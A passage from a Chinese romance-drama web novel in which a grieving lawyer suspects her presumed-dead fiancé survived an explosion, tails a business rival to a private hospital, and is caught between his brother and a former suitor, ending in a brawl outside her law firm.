“傅承平能力平庸,在傅氏一直没什么实权,傅承慧更是只知道围着傅家那点产业打转……”她低声分析,语速不快,却条理清晰,“以他们的脑子,就算有贼心,也未必有那个能力布置得这么周密,连爆炸和毁尸灭迹都做得这么干净。” 陆奉归看着她,有些心惊。 此刻的明嫣,仿佛将所有的悲痛都冻结成了坚冰,只剩下锐利的锋芒。 “除非……”明嫣抬眼,看向陆奉归,“他们背后还有人,或者说,有更熟悉傅修沉行事风格的人,在帮他们出谋划策,甚至……亲自下手。” 她脑海里闪过周慕言提到的那个药瓶。 以及傅承慧那天的反常…… 一个模糊的念头逐渐成型。 “陆凛呢?”明嫣突然问,“他这几天在哪?” 陆奉归摇头:“不知道,好几天没见他人影了,电话也打不通。” 明嫣合上电脑,眼底闪过一丝冷光。 …… “砰——!” 拳头砸在沙袋上的闷响在空旷的地下拳馆里回荡,一声接一声,带着股不要命的狠劲。 陆凛赤着上身,汗水早已浸透了他黑色的运动短裤,沿着紧绷的肌肉线条往下淌,在地板上洇开深色水渍。 那头灿金色的短发湿漉漉地黏在额前,遮住了部分眉眼,却遮不住那双眼睛里翻涌着的近乎自虐的戾气。 陪练的教练站在一旁,大气不敢出。 这位爷已经连续换了三个教练,每个都被他那种同归于尽般的打法逼得节节败退。 眼前的沙袋仿佛成了某种具象化的敌人,被他用尽全力地殴打,手臂、手背早已红肿破皮,渗出血丝,他却像是感觉不到疼。 “凛哥,够了……”旁边观战的高岚忍不住出声,他是这家拳馆的老板,也是陆凛少数能说上几句话的狐朋狗友之一。 陆凛充耳不闻,又是一记重拳,沙袋剧烈晃动,连接处的铁链发出不堪重负的呻吟。 他喘着粗气,胸口剧烈起伏,汗水淌进眼角,刺得他眼球生疼,可脑海里那些混乱的画面却更加清晰—— 明嫣烧得滚烫的手紧紧抓着他的手腕,喃喃地喊傅修沉的名字…… 还有更早之前,在律所,她穿着干练的西装,冷静地驳回对方律师的刁难,眼神锐利…… 她小口喝着奶茶,嘴角沾着一点奶盖…… 那些画面和声音交织在一起,像一张无形的网,将他越缠越紧。 心脏像是被什么东西反复捶打,又酸又胀,还有一种他不敢深究的隐秘悸动。 “操!” 他低骂一声,猛地停下动作,扯下拳套狠狠摔在地上,走到角落抓起一瓶水,拧开,从头顶浇下。 “你这状态不对啊,”高岚走过来,递给他一支烟,“跟哥说说,哪个妞儿这么大本事,能把我们凛哥折腾成这样?” 陆凛叼着烟,低头就着高岚手里的火点燃,深吸一口,烟雾呛进肺管,引来一阵剧烈的咳嗽,咳得他眼角都泛了红。 “没事。”他声音沙哑,带着浓重的鼻音。 有些念头不能细想,一想就觉得荒唐,像是某种禁忌在他脑子里疯狂敲响警钟。 那是他哥的女人。 哪怕只是订了婚,哪怕他哥现在…… 人都死了。 第132章 他想要她……(加更) 高岚觑着他脸色,知道撬不开这金毛狮王的嘴,便转了话头,捡些圈里的腌臜事当佐料。 “嗐,凛哥,你这阵子不在,京都可出了档子热闹。” 高岚掸了掸烟灰,挤眉弄眼,“厉家,知道吧?那个厉盛军,如今可是把厉家牢牢攥在手心里了。你猜怎么着?跟他嫂子搞一块儿了,听说肚子都搞大了。” 陆凛捏着烟的手指几不可察地一顿,撩起眼皮看他。 高岚没留意他这细微的反应,兀自说得眉飞色舞:“厉家老爷子差点没气背过去,可有什么用?现在厉家是厉盛军当家,谁敢说一个不字?更何况厉盛军原先那个短命大哥娶回来的,还没捂热乎人就没了。” 陆凛喉结动了动,嗓音被烟熏得有些低哑:“……这不是乱l?” “乱个屁的伦!”高岚嗤笑,不以为意,“一没血缘,二没实际名分,他大哥死得早,连个仪式都没走全。古代还有兼祧两房呢,兄弟死了,弟弟娶嫂子,延续香火,天经地义。搁现在,无非是传出去名声不太好听。可你看厉盛军在乎吗?明面上,谁敢在面前嚼他一句舌根?” 陆凛沉默地吸着烟,烟雾缭绕,模糊了他眼底翻涌的情绪。 高岚的话像一颗投入死水里的石子,荡开了一圈圈他从未敢深想的涟漪。 没有血缘…… 名义上的关系…… 人都死了…… 那些被他死死压抑的念头,此刻如同挣脱牢笼的野兽,疯狂地撞击着他的理智。 是啊,人都死了。 他们只是订了婚而已。 他凭什么不能…… 这个念头一旦破土,便以惊人的速度疯长,瞬间攫取了他所有的呼吸。 “凛哥?发什么呆呢?”高岚见他半天不说话,用手肘撞了他一下。 陆凛猛地回神,将烟头摁灭在旁边的烟灰缸里,力道大得几乎要将它捻碎。 他站起身,抓起搭在椅背上的外套,胡乱套在汗湿的身上。 “走了。”他声音依旧沙哑,却带着一种下定决心的沉。 “欸?这就走了?不喝几杯了?”高岚在他身后嚷嚷。 陆凛没回头,大步流星地朝外走去。 他要去见她。 现在,立刻,马上。 外面的天不知何时阴了下来,乌云压顶,空气沉闷。 陆凛发动车子,引擎咆哮着冲出停车场,汇入车流。 他开得极快,窗外的景物飞速倒退。 他不再去想那些该死的伦理束缚,不去想别人会怎么看。 他只知道,他想要她。 从什么时候开始的,他已经记不清了。 或许是她第一次在机场“冤枉”他时那副故作镇定实则紧张的模样,或许是她被他堵在咖啡厅走廊时伶牙俐齿的反击,又或许,更早…… 只是他大哥傅修沉如同一座无法逾越的高山,横亘在他和她之间。 他曾经以为,自己永远只能远远看着…… 可现在,山塌了。 他为什么还要站在原地? 车子一个急刹,停在嫣然律师事务所。 陆凛深吸一口气,推开车门,大步走了进去。 电梯数字不断跳动,他的心也跟着越跳越快。 有些念头,一旦通达,便再难抑制。 他迫不及待地想要见到她,想要确认她的存在,想要……把她从那个已经消失的阴影里,彻底拉出来。 “叮——” 电梯门开。 律所的同事见他回来纷纷跟他打招呼,只是陆凛却像是没有听见一样,几步走到办公室门前,抬手,用力敲响了房门。 “咚咚咚!” “请进!” 明嫣抬眸,视线从电脑屏幕上移开,落在门口那道高大的身影上。 陆凛站在那儿,一身黑色机车夹克敞着,里头是件皱巴巴的黑色T恤,金发凌乱,身上还带着室外的寒气,混合着淡淡的烟草和汗水的味道。 “你这几天跑哪儿去了?”明嫣眉头微皱。 陆凛反手关上门,隔绝了外面办公区的嘈杂。 他走到办公桌前,双手插在裤袋里,下颌线绷得有些紧。 “有事。”他含糊地应了一句,目光落在她脸上。 她瘦了很多,脸色苍白,但那双眼睛却亮得惊人,像淬了冰,又像燃着火。 他喉结滚动了一下,忽然有些不知道该如何开口。 “找我有什么事儿吗?”明嫣有些疑惑地问道。 陆凛抿了抿唇,下颌线绷得更紧。 “我……”可他刚吐出一个字,办公室的门被轻轻敲响了。 明嫣看向房门,“进来。” 只见陆奉归推门探头,脸上带着些为难:“老板,外面有人找你。” “就说我没空。”明嫣的嗓音低沉,“你接待一下就行。” 陆奉归张了张嘴,似乎还想说什么,但就在这时,他身后一道身影已经越过他,径直推门走了进来。 “明律师,冒昧打扰。” 进来的男人约莫三四十岁,穿着一身剪裁得体的深灰色西装,戴着一副金丝边眼镜,气质儒雅,嘴角噙着一抹温和的笑意。 他目光在办公室内扫过,掠过面色不虞的陆凛,最终落在明嫣身上。 明嫣看着这张脸,微微一怔。 很眼熟。 她好像在哪里见过。 男人微微一笑,语气从容不迫:“自我介绍一下,我叫宋青州。” 宋青州?! 明嫣心头猛地一跳,瞬间想起来了。 前段时间闹得沸沸扬扬的跃华生物数据造假案,背后搅动风云,最后却和傅修沉联手坑了她大哥明燃一把的,不就是这个人?! 她也记起是在哪里见过他了——在她和傅修沉的订婚宴上。 他当时作为傅修沉的合作方,还过来敬过酒,言谈举止滴水不漏,让人印象深刻。 他怎么会来这里? 而此时的陆凛见来人是宋青州时,眼神瞬间冷了下来,带着毫不掩饰的敌意和警惕。 这人好像是他大哥的商业对手…… 他找来这儿做什么? 他不动声色地上前半步,不着痕迹地挡在了明嫣和宋青州之间,姿态戒备。 宋青州对陆凛的敌意视若无睹,目光依旧温和地看着明嫣:“明律师,有些关于傅修沉的事情,我想单独跟你谈谈。” 明嫣瞳孔微缩,心脏像是被一只无形的手攥紧。 ——傅修沉!? 第133章 你是有他的消息吗? 明嫣的呼吸骤然停滞。 她几乎能听到血液冲上耳膜的声音,指尖无意识地在桌面划出一道白痕。 “陆凛,”过了好大一会儿,她才找到自己的声音,一开口却连声音都低哑得厉害,“你先出去。” 陆凛没动。 他站在原地,金发下的眼眸盯在宋青州身上,“他什么人你不知道?谁知道他安的什么心。” 宋青州对他的敌意恍若未觉,镜片后的目光平静无波,只看着明嫣。 “出去。”明嫣又重复了一句,视线仍牢牢锁着宋青州,嗓音是不容置疑的决绝。 陆凛胸口剧烈起伏了一下,额角青筋隐现。 他死死瞪了宋青州一眼,那眼神像是要将他生吞活剥,最终,猛地转身。 “砰!” 办公室的门被他摔得震天响,玻璃都在嗡鸣。 巨大的声响让明嫣的睫毛颤了颤,但她没回头,目光还是落在宋青州身上。 室内只剩下他们两人,空气凝滞,落针可闻。 “宋先生,”明嫣强迫自己冷静,指甲却已深深掐进掌心,“你说关于傅修沉的事,是什么?你是有他的消息吗?” 宋青州的目光平静地扫过她因急切而微微泛红的脸颊,走到会客沙发前,慢条斯理地坐下,双腿交叠。 “明律师开玩笑了,我怎么可能有傅总的消息……” 他语气平淡,听不出什么情绪地挑了挑眉,“若是哪天傅总托梦,宋某一定第一时间告知明律师。” 明嫣呼吸都窒了一下,她知道自己现如今的一举一动都很可笑。 可她控制不了。 她始终不相信傅修沉已经不在了。 仿佛只有这点儿妄念才是她支撑自己活下去的希望。 她深吸了一口气,强迫自己冷静下来,“所以,宋先生来找我是有什么事?”: “其实……”宋青州的指尖在膝盖上轻轻点了点,“傅总出事前,和我有过几次接触……” 明嫣屏住呼吸,目光死死地盯在他身上。 “傅总能力卓绝,手段……也非同一般。”宋青州语气平淡,“这样的人,身边虎狼环伺,明律师认为,谁最不希望他活着?” 明嫣用力抿住唇,没说话。 宋青州倒是也没在意,继续道,“跃华生物是一块巨大的蛋糕。” 他声音不高,却字字敲在明嫣心上,“只要傅修沉在,就没人敢动。可他若是出事,最大的受益者是谁,想必明律师心里有数。” 明嫣喉咙干得发疼:“宋先生到底想说什么?” 宋青州微微向前倾身,目光锐利如刀:“我今天来,是想和你谈一笔交易。” “交易?”明嫣抬眼,眼神里是毫不掩饰的讥诮,“跃华生物现在由傅承平掌管,宋先生想谈交易,似乎找错了人。” “明律师不会不知道,傅总的死跟他那位好二叔脱不了关系吧?” 空气凝滞。 明嫣站在原地,背脊挺得笔直,像一根绷紧的弦。 窗外天光透过百叶窗,在她苍白的脸上投下明明灭灭的光影。 几秒的死寂。 她忽然笑了一下,那笑意未达眼底,带着惨淡的嘲弄:“宋先生今天来,就是为了这个?” 宋青州不置可否:“自然。” 明嫣深吸一口气,压住胸腔里翻涌的酸涩和尖锐的疼痛。 她绕过办公桌,一步步走到宋青州面前,隔着一张茶几的距离,停下。 她的目光锐利,直直看向宋青州:“宋先生看来是找错人了,我这边还有事要处理,就不留宋先生了。” 一句话下了逐客令。 宋青州静静地看着她,办公室里只剩下两人交错的呼吸声。 许久,他几不可察地微微颔首,站起身整理了一下并无褶皱的西装下摆。 “明律师的话,我记住了。”他语气依旧平淡,听不出喜怒,“告辞。” 门被轻轻带上。 办公室里彻底安静下来。 明嫣还站在原地,身体里那股强撑着的力气仿佛瞬间被抽空,腿一软,踉跄着扶住沙发靠背才站稳。 她低头,看着自己微微发抖的手指,心脏像是破了一个大洞,冷风呼呼地往里灌。 她以为宋青州会给她半点儿希望…… 可如今却连这半点儿希望都没了。 她慢慢蜷缩进沙发里,抱住自己的膝盖,将脸埋了进去。 肩膀微微耸动,却没有声音。 …… 宋青州推开办公室门,脚步在门槛处微不可察地一顿。 陆凛就靠在门对面的墙上,一条长腿曲着,鞋跟抵着墙面。 他指间夹着烟,没点,只是捏在指节间反复捻着,金发下的眼神又冷又戾,像淬了冰的刀子,直直钉在宋青州身上。 “谈完了?”陆凛开口,嗓音低哑。 宋青州镜片后的目光平静无波,抬手理了理袖口,动作不疾不徐:“陆少有事?” 陆凛站直身体,他比宋青州略高几分,逼近时带着一股迫人的压力。 “我不管你从前你跟我哥是怎么斗得你死我活……” 他盯着宋青州,下颌线绷得死紧,“但跟她没有任何关系。” 他拇指朝身后虚掩的门指了指,里面隐约能看见沙发上蜷缩的身影。 “我警告你宋青州,离她远点。” 空气里弥漫着无声的硝烟。 宋青州脸上那点惯常的温和假面慢慢褪去,眼底掠过一丝极淡的讥诮:“你以什么身份说这种话?” 两人目光在空中相撞,一个桀骜阴戾,一个深沉难测。 陆凛喉结滚动,发出一声短促的冷嗤:“你管老子什么身份?” 他往前又逼近半步,几乎要撞上宋青州的肩膀,声音压得更低,带着不容置疑的狠绝:“只要我陆凛在一天,你就别想再动她一根头发。听明白了?” 宋青州静静看着他,几秒后,忽然极轻地笑了一下,那笑意未达眼底:“陆少,话别说太满。” “是吗?”陆凛扯了扯嘴角,眼神陡戾,“那你试试。” 说完,他不再看宋青州,猛地转身,肩膀重重撞开门,走进了办公室。 门“砰”一声在他身后甩上,震得墙壁嗡鸣。 宋青州抬手,指尖无意识地推了推鼻梁上的金丝眼镜,镜片反射着走廊顶灯冰冷的光。 陆凛这人混不吝惯了,可今天的失控……有些反常。 不像是对待兄长遗孀该有的态度。 倒像是…… 宋青州微微眯起眼,眸色沉了下去。 而就在这时,手机突然震动起来。 他扫了一眼来电显示,眼神骤然一凝,迅速接起。 “说。” 电话那头传来压低的声音,语速很快。 宋青州安静地听着,面色越来越沉。 “知道了。” 他挂断电话,抬眸扫了一眼身边的助理沉声吩咐,“去医院。” 第134章 傅修沉他可能没死! 办公室内,陆凛盯着沙发上蜷缩的身影,胸口堵得厉害。 他烦躁地耙了耙金发,走过去,声音硬邦邦的:“他跟你说了什么?” 明嫣没抬头,脸埋在膝盖里,声音闷闷的,带着未散的鼻音:“没什么。” 陆凛的眉头微皱,他下意识地俯身想把她拉起来问清楚,手伸到一半,却僵在半空。 “没什么那你哭什么?” 明嫣没抬头,声音闷得更深,“用不着你管。” “我偏要管!”陆凛火气上来,一把攥住她手腕,力道大得让她吃痛,被迫抬起头。 泪痕在她脸上胡乱交错,眼底是空的,像被抽干了所有活气。 他看着她这模样,胸口那团火烧得更旺,几乎要冲破喉咙。 他想摇醒她,想吼她为了个死人值不值得,想告诉她这世上不是只有傅修沉一个男人。 可话到嘴边,又被他死死咬住。 他算她什么人? 他哥才死多久? 那些催生出的疯狂念头,此刻在她空洞的眼神面前,显得卑劣又龌龊。 他陆凛再混,也没混到趁人之危,在自己哥哥尸骨未寒的时候…… “你看看你现在像什么样子!”他声音压抑,眉头几乎皱成了一团疙瘩,“我大哥要是在,他能看得上你这副鬼样子?” 明嫣瞳孔猛地一缩,像是被这句话刺穿了最脆弱的地方。 她用力想抽回手,眼底瞬间涌上更多水汽,却倔强地不肯落下。 “他看不看得上……都跟你没关系!”她声音发抖,几乎咬牙切齿,“陆凛,你凭什么这么说他?凭什么!” “就凭我现在站在你面前!” 陆凛低吼,另一只手也撑上沙发靠背,将她彻底困在方寸之间,气息灼热地喷在她脸上,“他死了!明嫣!他回不来了!你他妈醒醒!为一个死人糟践自己,你蠢不蠢?!” “他没死!”明嫣像是被彻底激怒,另一只手猛地抬起,狠狠朝他脸上挥去。 陆凛没躲。 “啪”一声脆响,在寂静的办公室里格外清晰。 陆凛脸偏了一下,舌尖抵了抵发麻的嘴角,尝到一点铁锈味。 他转回头,看着她,眼神暗沉得像暴风雨前的海。 明嫣打完,手僵在半空,呼吸急促,胸口剧烈起伏。 看着他脸上清晰的指印,一丝慌乱掠过眼底。 “我……”她张了张嘴,“我不是故意的……” 陆凛盯着她,忽然笑了,笑得有点邪,有点冷,眼底却翻涌着她看不懂的浓稠情绪。 “打得好。”他哑声说,攥着她手腕的力道却丝毫未松,“但我告诉你,明嫣,这世上没谁离了谁活不了。” 他目光死死锁住她,像要将她吸进去。 “我大哥他能给你……” “砰——!” 办公室的门被人猛地从外面撞开,硬生生截断了陆凛即将脱口而出的话。 只见陆奉归手里捧着笔记本电脑,一脸激动地冲了进来,甚至没注意到屋内近乎凝固的诡异气氛。 “老大!老大!你看!网上……网上刚流出来一段视频!爆炸当天的!”陆奉归声音都在抖,几步冲到明嫣面前,将屏幕转向她。 陆凛到了嘴边的话被迫咽了回去,一股极其败坏的躁郁直冲头顶,他猛地松开明嫣,直起身,眼神阴沉地看向陆奉归,恨不得把这没眼力见的家伙直接从窗户扔出去。 明嫣却像是被“爆炸当天”几个字钉在了原地,也顾不上方才和陆凛的纠缠,目光瞬间聚焦到电脑屏幕上。 视频质量很差,晃动得厉害,像是行车记录仪拍的。 画面里是夜晚的公路,远处有隐约的火光。 突然,一声巨响,火光冲天! 镜头剧烈摇晃,然后稳定下来,似乎拍摄车辆停了下来。 紧接着,画面边缘,一辆黑色的车在爆炸发生后停在了路边。 车门打开,一道模糊的身影敏捷地跳下车,在身边人的指挥下直接冲向公路旁的护栏,纵身跃入了下方奔流的河中! 动作快得几乎捕捉不清。 而指挥那人跳河的人则是静静地站在那里,姿态冷静得近乎诡异。 屏幕上的画面模糊,噪点密布。 可明嫣的瞳孔在那一瞬缩成了针尖。 爆炸的火光映亮了路边那人的侧影——深灰色西装,金丝边眼镜,镜片后冷静到近乎漠然的双眼。 宋青州。 他站在那里,离爆炸点不远不近,他甚至抬手,扶了扶眼镜,动作斯文,一丝不乱。 然后,画面戛然而止。 办公室里死寂。 只有电脑风扇嗡嗡的杂音,敲打着耳膜。 “老大……”陆奉归的声音带着难以置信的颤抖,“这……这是不是说明……” 明嫣猛地抬手,制止了他后面的话。 她脸色煞白,血液却像岩浆一样在血管里奔涌冲撞,冲得她四肢百骸都在发麻,指尖冰凉。 宋青州。 他为什么会在那里? 在傅修沉的车爆炸后,出现在现场? 联想到他刚才那些似是而非的话,那些引导她怀疑的暗示……哪里是合作? 分明是试探! 他今天来,是来摸她的底! 一个荒谬又疯狂的念头破土而出—— 傅修沉可能没死! 他或许是在爆炸声前就跳了河,而视频里跳下河的人……会不会就是去救他的? 是宋青州的人救了他? 这个猜想让她浑身战栗,几乎站不稳。 她的心脏在胸腔里疯狂擂鼓,撞得她耳膜嗡嗡作响,血液奔涌着冲向四肢百骸,带来一种近乎眩晕的狂喜和不敢置信。 他没死…… 他可能真的没死! 这个念头像野火一样,将她的眸子瞬间被点亮,燃起骇人的光亮。 “查!” 她猛地站起身,因为动作太快,眼前黑了一瞬,身体晃了晃,被旁边的陆奉归连忙扶住,“去查宋青州!查他最近所有的行踪!快去!” “明白!”陆奉归也兴奋起来,抱着电脑就要往外冲。 “等等!”明嫣叫住他,声音因为激动而微微发颤,“视频来源也查!想办法找到拍视频的人!” “好!” 陆奉归一阵风似的刮了出去。 明嫣支撑着桌面,指尖因为用力而微微发抖,脸颊泛起不正常的红晕,整个人像是被重新注入了灵魂,那是一种近乎偏执的亢奋。 她甚至没注意到,角落里,陆凛始终沉默着。 他靠在墙边,双手插在裤袋里,目光落在明嫣瞬间被点燃的侧脸上,那双重新熠熠生辉的眼睛,刺得他心头莫名一涩。 他应该高兴的。 那是他大哥,血脉相连的大哥。 可为什么……胸腔里像是堵了一团浸了水的棉花,闷得他几乎喘不过气。 他烦躁地别开脸,舌尖抵了抵后槽牙,压下心底那股莫名的滞涩和……恐慌。 第135章 跟踪宋青州(加更) 江南的冬雨,淅淅沥沥,敲打着车窗,模糊了外面的世界。 明嫣坐在副驾驶,目光穿透雨幕,死死盯着不远处的宋氏集团大楼。 陆奉归啧是坐在驾驶座,大气不敢出,只觉得车厢里的空气紧绷得快要断裂。 已经第三天了。 自从那段模糊的视频像投入死水的石子,激起惊天骇浪后,明嫣就变成了现在这副模样。 她不再消沉,不再流泪,取而代之的是一种近乎燃烧的执拗。 她动用了所有能动用的关系,像一张无形的网,悄悄撒向宋青州。 可宋青州太干净了。 干净得让人心头发冷。 他照常上班,处理公务,会见客户。 下班后,偶尔有应酬,也是去固定的几家私人会所,规律得像是精密设定的仪器。 回家,熄灯,再无动静。 没有去医院,没有去任何可疑的私人诊所,没有接触任何陌生的面孔。 “老板,会不会……我们猜错了?”陆奉归声音干涩,带着连日的疲惫。 他们已经轮流蹲守了三天,眼睛熬得通红,却一无所获。 明嫣没说话,只是唇抿得更紧。 猜错了? 那视频里跳河的身影,宋青州站在爆炸现场的画面,都是假的吗? 还有他那天来找她时,那些意味深长的话,试探的眼神…… 不。 她不信。 傅修沉一定还活着。 一定在某个地方。 而宋青州,是唯一的线索。 “等。”她只吐出一个字,声音沙哑,却带着不容置疑的决绝。 雨刮器机械地左右摆动,刮开一片清晰的视野,又迅速被新的雨水覆盖。 第四天,依旧如此。 希望像被雨水一点点浇灭的炭火,只剩下微弱的红光。 明嫣靠在椅背上,眼底是连日熬出来的红血丝。 她感觉自己像一根绷到极致的弦,再稍微用力,就会“铮”地一声断裂。 第五天,下午。 雨停了,天空依旧是铅灰色,压抑得让人喘不过气。 宋青州的车如同前几日一样,准时驶出宋氏大楼。 明嫣几乎要麻木地跟上。 然而,这一次,黑色的轿车没有驶向熟悉的会所,也没有开往回家的方向。 它拐上了一条相对僻静的道路,车速平稳,目的地明确。 明嫣的心猛地一跳,几乎要撞出胸腔。 她下意识地坐直身体,手指紧紧抠住了身下的座椅面料。 “跟上,”她声音发紧,“小心点,别跟太近。” 陆奉归也精神一振,小心翼翼操控着车子,混在稀疏的车流中,不远不近地缀着。 心脏在胸腔里擂鼓。 明嫣死死盯着前方那辆车的尾灯,每一个转弯,每一次减速,都让她呼吸骤停。 车子最终驶入了一片环境清幽的区域,道路两旁是高大的乔木,枝叶在冬日里显得有些萧瑟,路的尽头,是一家私密性著称的私立医院。 宋青州的车,毫无阻碍地滑入了医院大门。 肯定就是这里! 他肯定把傅修沉藏在这里! 巨大的狂喜如同海啸,瞬间淹没了明嫣。 她眼前阵阵发黑,手脚因为激动而微微颤抖,几乎要控制不住推开车门冲进去。 “老板!”陆奉归连忙按住她,“冷静!我们还不确定……” “确定!我确定!”明嫣声音发抖,眼眶瞬间红了,“他一定在这里!傅修沉就在这里!” 她深吸了几口气,强迫自己冷静下来。 不能打草惊蛇。 宋青州既然费尽心机隐瞒,必然防备严密。 “你在这里等着,”明嫣推开车门,“我进去看看。” “我跟你一起去!” “不用!”明嫣拒绝,“人多目标大,你留在外面接应,如果有情况,立刻通知我。” 她拢了拢大衣,低着头,快步走向医院大门。 心脏跳得像要从喉咙里蹦出来。 医院内部装修奢华而安静,空气里弥漫着消毒水混合着淡淡香氛的味道。 明嫣压住狂跳的心,尽量让自己看起来自然。 她不能直接问,那样会立刻引起怀疑。 她假装是来探病的家属,凭着记忆和推断,朝着VIP病房区的电梯走去。 每一步都像踩在棉花上,又像踩在刀尖上。 她躲在安全通道的拐角,屏住呼吸,眼睛死死盯着电梯闪烁的数字。 电梯在某一层停下。 明嫣的心脏也跟着停跳了一拍。 她记住了那个数字。 等待。 每一秒都漫长如年。 她悄悄走上那条走廊。 走廊铺着厚厚的地毯,脚步声被吸收,安静得能听到自己血液流动的声音。 宋青州去哪儿了? 明嫣不由得有些心急。 而就在这时,前方一扇病房门被从里面打开。 明嫣猛地缩回身,藏在墙壁后,只露出一只眼睛,心脏几乎停止跳动。 出来的,是宋青州。 他脸上没什么表情,依旧是那副金丝眼镜,斯文沉稳。 他反手轻轻带上门,并没有立刻离开,而是站在门口,似乎在跟里面的人低声交代着什么。 距离有些远,听不清。 但明嫣的目光,已经死死钉在了那扇门上。 就是这里! 他一定在里面! 傅修沉……就在那扇门后面! 她几乎能想象出他躺在病床上的样子,可能瘦了,伤了,但一定还活着! 他那么强大,怎么可能轻易死去? 狂喜和酸楚交织,冲得她鼻尖发酸,视线迅速模糊。 宋青州交代完毕,转身朝着电梯方向走去。 明嫣紧紧贴着冰冷的墙壁,等他走远,脚步声消失在电梯口,才猛地从藏身处冲了出来。 她跑到那扇门前,手抬起,却悬在半空,颤抖得厉害。 近乡情怯。 她怕。 怕推开之后,是一场空欢喜。 怕里面躺着的,不是她朝思暮想的那个人。 可是,万一呢? 万一他就在里面,正等着她呢? 她深吸一口气,用尽全身力气,猛地推开了房门—— 病房里光线柔和,布置得如同高级酒店的套房,温馨得不像是医院。 只是当看清躺在病床上的人时,明嫣瞬时僵在原地…… 全身的血液,仿佛在这一刻瞬间冻结,倒流,冲得她四肢冰凉,大脑一片空白…… 第136章 等傅修沉醒过来再说 只见病房里光线澄澈,安静得能听见点滴滑落的细微声响。 而病床上躺着的人,面容苍白,戴着呼吸机,胸口缓慢起伏——是个完全陌生的中年男人。 不是他。 明嫣僵在门口,浑身的血液仿佛瞬间冻结,又猛地倒流,冲得她耳膜嗡嗡作响。 那点不顾一切燃起的炽热期望,被这盆冰水兜头浇下,连一丝青烟都没留下。 她甚至能听见自己心脏碎裂的咔嚓声,很轻,却震得她四肢百骸都在发麻。 手指无意识地蜷缩,指甲深深掐进掌心,留下月牙形的白痕,却感觉不到疼。 她慢慢地向后退了一步,动作滞涩得像生锈的机器,然后轻轻带上了房门。 门合拢的轻响在空旷的走廊里格外清晰。 一转身,就对上了一双似笑非笑的眼。 宋青州不知何时去而复返,就站在她身后几步远的地方,好整以暇地看着她,金丝眼镜后的目光带着洞悉一切的玩味。 “明律师,”他开口,嗓音温和,却像冰冷的蛇信舔过皮肤,“这么巧?还是在……跟踪我?” 明嫣脸色煞白,唇瓣动了动,却发不出声音。 连日来的疲惫、焦虑,加上刚刚经历的巨大失望,抽干了她所有的力气。 宋青州向前一步,微微倾身,距离近得能让她看清他镜片上反射的狼狈倒影。 “容我提醒一句,”他语气依旧平淡,却带着无形的压迫,“明律师,未经允许跟踪他人,甚至意图闯入私人空间,这算什么行为?嗯?” 明嫣闭了闭眼,再睁开时,眼底只剩下死水般的沉寂。 她没有力气与他争辩,更没有心思纠缠。 “抱歉,走错了。”她声音沙哑得厉害,绕过他,踉跄着朝电梯走去,背影单薄得像随时会碎掉。 宋青州站在原地,看着她失魂落魄地走进电梯,数字一层层向下跳,直到停在一楼。 他脸上那点虚伪的笑意慢慢敛去,眼神变得深沉难测。 就在这时,背后的病房门被轻轻推开,一个护士面带喜色地快步走出来:“宋先生!病人刚才手指动了一下,脑波监测也有明显变化!虽然还没醒,但这是很好的迹象!应该是受了外界刺激……” 宋青州侧头,隔着未完全关拢的门缝,看了一眼病床上依旧昏迷的男人,眸色微动。 他扯了扯唇角,弧度带着点难以言喻的嘲弄,像是自言自语,声音低得只有自己能听见:“傅修沉,你这恋爱脑……是不是太离谱了点?” 他顿了顿,语气幽幽,带着点难以置信的嫌弃:“光听见人家的声音,隔着门板都能给你刺激出反应?别太爱了,行不行?” 他之前不跟明嫣透露半分,是因为连他自己也无法完全确定那场爆炸背后的水有多深,不敢轻易将傅修沉这唯一的“生还”筹码暴露于人前。 如今看傅修沉这近乎本能的生理反应,他心底的某个猜测似乎又被印证了几分。 只是,对手藏在暗处,他依旧不敢冒险。 毕竟那些人恐怕也一直盯着明嫣的一举一动…… 她若是有什么反常,难保会打草惊蛇。 “继续观察,有任何情况,第一时间通知我。”他吩咐护士,声音恢复了一贯的冷静。 还是得等。 等傅修沉自己彻底醒过来再说。 …… 明嫣不知道自己是怎么把车开回律所的。 大脑一片空白,手脚冰凉,眼前的道路和霓虹都成了模糊的背景板。 希望燃起到破灭的巨大落差,几乎摧毁了她这几天强行构筑起来的所有心理防线。 她停好车,浑浑噩噩地推开车门,脚步虚浮地朝着律所大门走去。 刚踏上台阶,一道身影猛地从旁边闪出,拦在了她面前。 “嫣嫣!” 熟悉又令人厌烦的声音让明嫣涣散的目光凝聚了一瞬。 霍寒山站在她面前,风尘仆仆,满脸的急切担忧。 他比上次见面时更瘦了些,穿着黑色的长大衣,衬得脸色有种病态的苍白。 眼下有浓重的青黑,下颌线绷得极紧,那双曾经冷冽锐利的眼眸,此刻翻涌着她看不懂的,近乎痛楚的暗潮。他看着她,像是要将她吸进去,又像是怕惊扰了她。 “我听说……傅家的事了。”他喉结滚动,声音干涩,“我……刚从国外回来。” 明嫣看着他,眼神里没有任何波澜,只有一片死寂的荒芜。 “哦。”她应了一声,毫无温度。然后转身,继续去推办公室的门。 “明嫣!”霍寒山上前一步,下意识想抓住她的手腕。 明嫣像是被毒蛇触碰,猛地甩开,力度之大,让霍寒山都踉跄了一下。 “别碰我!”她终于抬眼看他,那眼神冰得刺骨,“滚。” “我只是担心你……”霍寒山眼底掠过一丝受伤,但更多的是一种固执,“我知道你难受,但你不能这样下去!你看看你现在像什么样子!为了一个……” “闭嘴!”明嫣厉声打断他,胸口因愤怒而微微起伏,那双死水般的眸子终于燃起一点火光,却是恨意,“霍寒山,你以什么身份站在这里跟我说这些话?嗯?我的事,轮不到你来过问!我现在不想看见你,一眼都不想!给我滚!” 她的声音不高,却字字诛心,带着全然的排斥和厌恶。 霍寒山被她眼底的恨意钉在原地,脸色又白了几分。 他攥紧了垂在身侧的手,骨节泛白。 那点压抑已久的不甘执念,混合着看到她为另一个男人如此憔悴而升起的尖锐妒忌,几乎要冲破理智。 “我不走。”他盯着她,眼神偏执得骇人,“傅修沉已经死了!他回不来了!明嫣,你看看我,我还在!我们……” 可他的话没能说完。 一道身影带着凌厉的风声,从律所门口直冲而来! 陆凛! 他显然刚从外面回来,黑色机车夹克上还沾着湿漉漉的雨气,那头金发被雨水打湿,几缕凌乱地垂在额前,更添了几分野性的戾气。 他眼神阴沉,目标明确,几步就跨到了霍寒山面前。 “你他妈找死!” 没有任何预兆,陆凛猛地挥拳! 那一拳裹挟着风声,又快又狠,精准地砸在霍寒山的下颌上! “砰!” 一声闷响。 霍寒山猝不及防,直接被这一拳撂倒在地,脊背重重撞在旁边的装饰盆栽上,花盆碎裂,泥土飞溅。 他闷哼一声,嘴角瞬间破裂,渗出血丝。 陆凛居高临下地看着他,他活动了一下手腕,骨节发出咔哒的轻响。 